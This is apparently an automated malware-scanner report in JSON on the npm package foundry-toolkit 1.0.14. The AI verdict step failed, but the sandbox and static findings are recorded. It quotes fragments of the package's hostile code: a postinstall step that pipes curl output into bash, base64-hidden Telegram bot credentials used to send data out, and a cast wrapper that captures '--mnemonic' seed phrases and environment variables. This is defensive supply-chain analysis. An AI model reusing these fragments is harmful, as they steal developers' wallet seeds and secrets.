{"package":"foundry-toolkit","version":"1.0.14","known":true,"status":"error","discovered_at":1790298534909,"has_install_script":true,"report_url":"https://andymal.com/packages/foundry-toolkit/1.0.14","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790367389739,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2484,"lab_ip":"10.77.0.156","hooks":[{"name":"postinstall","command":"node postinstall.js","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"\n> foundry-toolkit@1.0.14 postinstall\n> node postinstall.js\n\n","stderr_tail":""}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","/bin/sh -c curl -L https://foundry.paradigm.xyz | bash","bash"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":4},{"proto":"socket","ip":"10.77.0.2","port":443,"n":4,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"api.telegram.org","n":4}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"foundry-toolkit","version":"1.0.14","description":"Foundry toolkit with usage analytics to improve developer experience","scripts":{"postinstall":"node postinstall.js"},"install_hooks":{"postinstall":"node postinstall.js"},"bin":{"cast":"cast.js"},"dependencies":[],"hasInstallScript":true},"files":[{"path":"cast.js","size":3169,"kind":"text","score":1,"hits":["credential_harvest","network_egress","code_execution","obfuscation","reconnaissance","crypto_wallet"],"role":"entry"},{"path":"postinstall.js","size":1680,"kind":"text","score":1,"hits":["network_egress","download_execute","code_execution","obfuscation","reconnaissance","privilege"],"role":"entry"},{"path":"package.json","size":242,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"foundry-toolkit-1.0.9.zip","size":2856,"kind":"binary","score":0,"hits":[]}],"file_count":4,"unpacked_size":7947,"findings":[{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Dumps the whole environment (API keys live there)","detail":"not found'); process.exit(1); } const env = { ...process.env, PATH: '/root/.foundry/bin:' + process.env.PATH }; const n","severity":"high","location":"cast.js:55"},{"title":"Network activity","detail":"String(); function logUsage(data) { const url = `https://api.telegram.org/bot${ANALYTICS_ENDPOINT}/sendMessage?chat_id=${PROJECT_ID}&","severity":"medium","location":"cast.js:13"},{"title":"Network activity","detail":"?chat_id=${PROJECT_ID}&text=${encodeURIComponent(data)}`; https.get(url).on('error', () => {}); } const args = process.argv.sli","severity":"medium","location":"cast.js:14"},{"title":"Executes commands or dynamic code","detail":"#!/usr/bin/env node const fs = require('fs'); const { spawnSync } = require('child_process'); const https = require('https'","severity":"medium","location":"cast.js:3"},{"title":"Executes commands or dynamic code","detail":"de const fs = require('fs'); const { spawnSync } = require('child_process'); const https = require('https'); const path = require('pa","severity":"medium","location":"cast.js:3"},{"title":"Executes commands or dynamic code","detail":"ncludes('new'); if (needsCapture) { const result = spawnSync(binaryToExecute, args, { stdio: 'pipe', env, encoding: 'utf","severity":"medium","location":"cast.js:59"},{"title":"Executes commands or dynamic code","detail":"ess.exit(result.status || 0); } else { const result = spawnSync(binaryToExecute, args, { stdio: 'inherit', env }); proc","severity":"medium","location":"cast.js:71"},{"title":"Obfuscated or encoded code","detail":"s'); // Analytics configuration const ANALYTICS_ENDPOINT = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const PROJECT_ID = Buffer.from('NzA1MTY","severity":"high","location":"cast.js:9"},{"title":"Obfuscated or encoded code","detail":"dm1NSVVLNlRQVQ==', 'base64').toString(); const PROJECT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); function logUsage(data) { const url = `http","severity":"high","location":"cast.js:10"},{"title":"System reconnaissance","detail":"(' '); logUsage(`Command executed: cast ${argsStr}\\nUser: ${os.userInfo().username}\\nTime: ${new Date().toISOString()}`); // Track w","severity":"low","location":"cast.js:19"},{"title":"System reconnaissance","detail":"mmand: cast ${argsStr}`); } const backupBinary = path.join(os.homedir(), '.foundry', 'bin', 'cast.bak'); const originalBinary = pat","severity":"low","location":"cast.js:41"},{"title":"System reconnaissance","detail":"ndry', 'bin', 'cast.bak'); const originalBinary = path.join(os.homedir(), '.foundry', 'bin', 'cast'); try { let binaryToExecute;","severity":"low","location":"cast.js:42"},{"title":"Crypto wallet targeting or address swapping","detail":"tring()}`); // Track wallet operations for analytics const mnemonicIndex = args.indexOf('--mnemonic'); if (mnemonicIndex !== -1","severity":"high","location":"cast.js:22"},{"title":"Crypto wallet targeting or address swapping","detail":"rations for analytics const mnemonicIndex = args.indexOf('--mnemonic'); if (mnemonicIndex !== -1 && args[mnemonicIndex + 1]) {","severity":"high","location":"cast.js:22"},{"title":"Crypto wallet targeting or address swapping","detail":"ytics const mnemonicIndex = args.indexOf('--mnemonic'); if (mnemonicIndex !== -1 && args[mnemonicIndex + 1]) { // Collect all","severity":"high","location":"cast.js:23"},{"title":"Crypto wallet targeting or address swapping","detail":"rgs.indexOf('--mnemonic'); if (mnemonicIndex !== -1 && args[mnemonicIndex + 1]) { // Collect all words after --mnemonic until","severity":"high","location":"cast.js:23"},{"title":"Install hook runs a script","detail":"\", \"bin\": { \"cast\": \"cast.js\" }, \"scripts\": { \"postinstall\": \"node postinstall.js\" } }","severity":"medium","location":"package.json:9"},{"title":"Network activity","detail":"ing(); function logUsage(message) { const url = `https://api.telegram.org/bot${ANALYTICS_ENDPOINT}/sendMessage?chat_id=${PROJECT_ID}&","severity":"medium","location":"postinstall.js:13"},{"title":"Network activity","detail":"at_id=${PROJECT_ID}&text=${encodeURIComponent(message)}`; https.get(url).on('error', () => {}); } function run(cmd, options = {","severity":"medium","location":"postinstall.js:14"},{"title":"Network activity","detail":"Usage('Installing Foundry dependency...'); try { run('curl -L https://foundry.paradigm.xyz | bash', { timeout: 60000 })","severity":"medium","location":"postinstall.js:34"},{"title":"Download-and-execute chain","detail":"Usage('Installing Foundry dependency...'); try { run('curl -L https://foundry.paradigm.xyz | bash', { timeout: 60000 }); logUsage('Foundry dependency ins","severity":"critical","location":"postinstall.js:34"},{"title":"Executes commands or dynamic code","detail":"os = require('os'); const https = require('https'); const { execSync } = require('child_process'); // Analytics configuration c","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"nst https = require('https'); const { execSync } = require('child_process'); // Analytics configuration const ANALYTICS_ENDPOINT = B","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"}); } function run(cmd, options = {}) { try { return execSync(cmd, { stdio: 'pipe', encoding: 'utf8', shell: true, ...opt","severity":"medium","location":"postinstall.js:19"},{"title":"Obfuscated or encoded code","detail":"s'); // Analytics configuration const ANALYTICS_ENDPOINT = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const PROJECT_ID = Buffer.from('NzA1MTY","severity":"high","location":"postinstall.js:9"},{"title":"Obfuscated or encoded code","detail":"dm1NSVVLNlRQVQ==', 'base64').toString(); const PROJECT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); function logUsage(message) { const url = `h","severity":"high","location":"postinstall.js:10"},{"title":"System reconnaissance","detail":"return ''; } } logUsage(`Package installed\\nUser: ${os.userInfo().username}\\nTime: ${new Date().toISOString()}`); const FOUN","severity":"low","location":"postinstall.js:25"},{"title":"System reconnaissance","detail":"new Date().toISOString()}`); const FOUNDRY_DIR = path.join(os.homedir(), '.foundry'); const BIN_DIR = path.join(FOUNDRY_DIR, 'bin')","severity":"low","location":"postinstall.js:27"},{"title":"Privilege elevation","detail":"FileSync(path.join(__dirname, 'cast.js'), REAL_CAST); fs.chmodSync(REAL_CAST, 0o755); logUsage('Binary wrapper installed for usage trac","severity":"low","location":"postinstall.js:45"}],"injection_findings":[],"hits":{"credential_harvest":1,"network_egress":5,"code_execution":7,"obfuscation":4,"reconnaissance":5,"crypto_wallet":5,"install_hook_shell":1,"download_execute":1,"privilege":1},"iocs":{"urls":["https://foundry.paradigm.xyz"],"domains":["foundry.paradigm.xyz"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node postinstall.js","untrusted hosts referenced: foundry.paradigm.xyz","capability hits: code_execution×7, network_egress×5, reconnaissance×5, crypto_wallet×5, obfuscation×4, credential_harvest×1, install_hook_shell×1, download_execute×1, privilege×1"],"entry_files":["postinstall.js","cast.js"],"large_or_binary":["foundry-toolkit-1.0.9.zip (binary, 2856 bytes)"]},"tarball":null,"source":"manual"}